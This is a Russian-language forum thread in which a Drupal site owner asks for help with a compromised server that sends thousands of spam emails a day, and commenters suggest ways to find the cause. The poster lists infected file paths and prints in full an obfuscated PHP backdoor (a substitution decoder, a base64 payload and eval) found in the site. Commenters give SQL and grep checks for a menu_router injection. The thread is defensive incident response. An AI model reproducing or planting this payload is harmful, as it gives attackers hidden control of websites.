Здравствуйте.
DirectAdmin показывает, что ежедневно с нашего сервера отправляется 1800-2800 email с системного ящика, создаваемого вместе с хостингом (hostinglogin@oursitename.com). Судя по отчётом модуля SMTP это не он отправляет эти письма. Письма отправляются каким-то образом из самих файлов скриптами PHP.
Обновились до 7.34, заменили пароли на всём от хостинга с базами, до root-администратора и всех email ящиков. На сайтах оставили только один профиль администратора, регистрацию полностью запретили (сайты информационные, регистрация в принципе не нужна).
Подали заявку на хостинге на проверку на вирусы. Проверка показала следующие результаты:
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/colorbox/example2/start.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/ckeditor/plugins/forms/dialogs/.cache.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/ckeditor/plugins/find/dialogs/page36.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/ckeditor/_source/plugins/xml/file33.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/ckeditor/_source/plugins/specialchar/dialogs/.page.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/ckeditor/_source/skins/kama/images/.session.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/libraries/ckeditor/skins/kama/blog.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/sites/all/modules/wysiwyg/.blog.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/icon/flags/.code.php
{HEX}php.base64.v23au.183 : ./oursite/public_html/themes/engines/.start.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/libraries/colorbox/example2/images/plugin.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/libraries/tinymce/jscripts/tiny_mce/plugins/table/js/.session.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/libraries/tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/.object.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/themes/.ini.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/modules/views/modules/translation/.db57.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/modules/xmlsitemap/xsl/.user.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/modules/ctools/options.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/modules/ctools/ctools_access_ruleset/plugins/access/.diff.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/all/modules/tipsy/PATCH and backups/javascripts/.search73.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/sites/sxd/img/info29.php
{HEX}php.base64.v23au.183 : ./oursite_2/public_html/themes/seven/.gallery74.php
{HEX}php.base64.v23au.183 : ./rdg-studio.com/public_html/modules/book/proxy78.php
Во всех этих файлах было схожее содержание:
<?php
$vLS7413 = Array('1'=>'2', '0'=>'m', '3'=>'V', '2'=>'z', '5'=>'L', '4'=>'T', '7'=>'8', '6'=>'f', '9'=>'g', '8'=>'x', 'A'=>'6', 'C'=>'p', 'B'=>'a', 'E'=>'Z', 'D'=>'U', 'G'=>'K', 'F'=>'o', 'I'=>'Y', 'H'=>'1', 'K'=>'H', 'J'=>'y', 'M'=>'c', 'L'=>'i', 'O'=>'B', 'N'=>'A', 'Q'=>'d', 'P'=>'Q', 'S'=>'9', 'R'=>'r', 'U'=>'J', 'T'=>'v', 'W'=>'s', 'V'=>'X', 'Y'=>'l', 'X'=>'n', 'Z'=>'D', 'a'=>'0', 'c'=>'4', 'b'=>'7', 'e'=>'3', 'd'=>'e', 'g'=>'5', 'f'=>'C', 'i'=>'w', 'h'=>'G', 'k'=>'F', 'j'=>'I', 'm'=>'R', 'l'=>'N', 'o'=>'E', 'n'=>'j', 'q'=>'M', 'p'=>'t', 's'=>'S', 'r'=>'k', 'u'=>'O', 't'=>'h', 'w'=>'W', 'v'=>'q', 'y'=>'P', 'x'=>'b', 'z'=>'u');
function vPRPTV8($vD7JB9R, $vII2HZB){$vY7REMG = ''; for($i=0; $i < strlen($vD7JB9R); $i++){$vY7REMG .= isset($vII2HZB[$vD7JB9R[$i]]) ? $vII2HZB[$vD7JB9R[$i]] : $vD7JB9R[$i];}
return base64_decode($vY7REMG);}
$vL59UAL = 'UhkHQht6Mhk2MJNSjfU0lnmnuwErq2r2I0Utl4qiEwUYq4r1EZUnE0kru4IaIJjbf9FrI1SWxej9'.
'ysNLj1m0lsjbfLmrEwEtQw8aV1knQhYTxLNSjfQhBw8YMaHtxLMbfLmrEwEtQw8aVe32E3StB0kcjZa9QKU'.
'HE4WGUhmYE0kHxKm6I1ttMXlYQfNSjfQVBwgrxeQ254oJl4oXuiFGPhYzB3S2EVPFU13JM0SJV18TEJ'.
'MW4Y3q4frbfrOCx0Y6M13aGfQWx1Q6EVUJxeU2UJiiG4WGPhYzB3S2EVPFU1H'.
'tdkSYdh3nQVmCx1g6QhYpEsMWqfrbfrO2EVm6QhYpE3SWBwHCQf9iG4WGPKlYQkSpIwQ'.
'CIHS8QwSaEVl6MX3zQhYpEs9iG4WGPhmYE0YzEs9X3HlyVHEkDYlU4acX5fNXqLcH5noXG4WGf0Y0GhQYQkSpIwQCIHS8QwSaEV'.
'l6EeOnGfrCjKWGjfN9jhEHx0laBwSzjkQ44elaM0YiM18tM1tYMJ9rIVUJIVr'.
'CjKWGjfN9jfN9jfOJEVmHM0c9BVl6IVUJIVrFUhkJM0kgGsN/jhkJM0kgV1HtMf9'.
'X3HlyMemJBVO2xhk2Bh32UJi9UhkJM0kgGsNAjKlaM0YiM18tM'.
'1tYMJ9rIVUJIVrCuiF9jfN96PF9jfN9UkSP4HlDjZa93HlyMemJBVO2xhk2Bh32Gfm6DoS43frbfLN9'.
'jfNrValy4apUmsNSjkQ44elaM0YiM18tM1tYMJ9rValy4apUmsrbfXaGf0EHx0'.
'laBwSzjKQ2xa8TE1YzGfr9diF9jfN9Bh3tEh3JGfQj3kmP52ozqfNaqZP940SajoETQwgrUJrbfLN9jfOrBwDFjnPilf'.
'jCuiCSf9C0QwgnQhYTxLOVDaS2EVmnx1SRBwDFUhWWjfm1GsObfL'.
'N9jfNrValy4apUm3WrBHa9ysNrQnWGjfN9jKlYQhlTx1pCEs9rBJi9UKICuiCSf9CCEL9tEwHiQ'.
'KrFUhkHQht6Mhk2MJrCjKWGjfN9jhY0GhY2M13aGfm6DoS43kWXMhk2MJQQGsN0ULNFxwPHGfm6DoS43kWXM'.
'hk2MJQQGsNSysNrIV3aBkSiIVl2GsrGjfN9jfN9jfOVDaS2EVmnx1SRBwDFxwPH'.
'Gfm6Da3s3r3swJQj3kmPVatyDHPXVsrWjfmtQVmFVeOtMeqCuiFGjfN9jhY0jf9tBVl2EVPFUkS'.
'Z4aS5sD3xxwPHGfm6Da3s3r3swJQj3kmPVatyDHPXVsYQGsO76fNFUkSZ4aS5sD3xxwPHGfm6Da3s3r3swJQj3kmPVatyD'.
'HPXVsYQjfoSjfmtQVmFVeOtMeqCGPF9jfN9jfN9jKQ2xa8TE1YzGfrbfXaGf0EHx0laBwSzjhknQhYTxYUZG'.
'fr9diF9jfN9BwIFjDNrVHOyDHmxUeN8UHaCjKWGjfN9jfN9jfNrIsNSjhkJM0kgGNF9jfN9jfN9jfN9jfN'.
'LQwgtxwDLjZa+jKOFMkSHx0kpEs9C5NF9jfN9jfN9jfN9jfNLMhtiVeEYM'.
'XlCx1cLjZa+jKOFMKEYMXlCx1cFGsiGjfN9jfN9jfN9jfN9jXQ2xHS1E'.
'VU2BwSzjLNSyLOVDaS63r3sDaYy4LiGjfN9jfN9jfN9jfN9jXltE03px1mYjLNSyLONBwgCV1QYQf9XM'.
'1k0E3Spx1mYUJrGjfN9jfN9jfNCuiF9jfN9jfN9jh3nBh79M13JBwkWBVCYGfmtG4WGjfN9jKa9Ew82Es'.
'ObfLN9jfN9jfN9EVEtxf9rVHOyDHmxUeN8UHaCuiF9jfN96PCSf0Y0GfOYxVOads9rVHOyDHmxU1oXVsr9'.
'GPF9jfN9BwIFBVl2EVPFUhmYE0kHxKm6IwlaBwSzGsN0ULO0QwgnQhYTxYSYdhY2QKqFU1knQhYTxLM95LN'.
'rEh30IV3WQkStIemCx1cCGPF9jfN9jfN9jfm6DoS43kWXIsQQjZa9U'.
'hmYE0kHxKm6IwlaBwSzuiF9jfN9Ew82EPF9jfN9jfN9jfm6DoS43kWXIsQQjZa9UHlYIaYzE07XuiCCEL99jw3pMKmgGfm6DoS'.
'43kWXIsQQGsN0ULO0QwgnQhYTxYSYdhY2QKqFU1knQhYTxLM95LNrVHOyDHmxU1oXVsr9GP'.
'F9jfN9I1kWxkSHM13JV1EHx0qFU1knQhYTxLM95LNrVHOyDHmxU1oXVsrbf03cBVPb';
eval(vPRPTV8($vL59UAL, $vLS7413));?>
Все перечисленные файлы удалили. В корне каждого из двух сайтов был также обнаружен лишний PHP файл. Их тоже удалили. Но проблема не исчезла - письма с сервера по прежнему отправляются.
Проблема появилась на этапе, когда сайт был на версии 7.32. Выполняли отдельные общие рекомендации из обсуждений про взломы версии 7.32, но нигде не встречали проблемы подобной нашей.
Порекомендуйте, пожалуйста, с чего начать и что делать, чтобы устранить эту проблему? Поддержка хостингом крутит носом и говорит, что помочь ничем не может больше, обращайтесь к программистам. А я даже не знаю с чего начать.
Комментарии
бяка могла в таблице menu_router остаться
В соседней ветке нашёл это:
«1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit»
1 способ - выполнил запрос в базу - нет совпадений. Сейчас ещё раз вручную проверю всю таблицу.
2 способ - не могу выполнить - у меня windows (и в целом не умею работать с консолью)
3 способ - поставить этот модуль не удалось. Стандартная установка не удалась - ругалось, что в файле .info модуля нет названий. Загрузил модуль вручную на FTP. Запустил update.php, обновил кеш - модуль не появился в списке модулей. Посмотрел файл .info у модуля - действительно не было "name" и "description". Описание вроде не обязательно, но всё же добавил и его. Перезалил файл инфо - снова update и очистка кеша на всякий случай - и модуля всё равно нет в списке модулей для его активации. Очень странное явление. (другие модуля ставятся нормально - проверил сразу же).
http://cgit.drupalcode.org/site_audit/tree/README.md#n42
Только что открыл все 500+ строк таблицы menu_router и обычным Ctr+F ещё раз пробежался на наличие записи содержащей "file_put_contents". Нет ни одной ((
Судя по отчету, провели проверку только используя maldet. Рекомендую проверить ещё используя http://www.revisium.com/ai/ . Ну и пройтись по пунктам чек листа - http://www.drupal.ru/node/113136
Site Audit требует, чтобы я сначала разобрался с Drush. Я сделаю это, но чувствую, что это займёт время.
В любом случае большой надежды на SiteAudit нет, так как ручная проверка таблицы menu_router ничего не показала. Конечно же, может SiteAudit покажет на проблему в другом месте.
Но может у кого-то есть какие-либо другие догадки на эту тему, куда посмотреть и что сделать?
Quty 100% метода, не видя сайта написать не получится.
Спросите у саппорта - не могут ли они в исходниках писем посмотреть заголовки. Часто там указан путь к скрипту, который рассылает спам.
Скачайте сайт и локально проверьте парой антивирусов (например AVG, DrWeb).
Нет ли на этом же аккаунте других сайтов? Может быть шеллы там залиты, а вы ищите в других папках. Или удаляете, а вам снова заливают их. Хороший вариант - полностью вырубить сайт на время для всех, кроме своего IP (http://www.electrictoolbox.com/503-header-apache-htaccess/) и комплексно все проверить.
Несколько ссылок:
http://unix-notes.ru/2011/07/09/poisk-shellov-na-servere/
http://svirchoff.ru/linux/%D0%BF%D0%BE%D0%B8%D1%81%D0%BA-%D1%81%D0%BF%D0...
http://revisium.com/ai/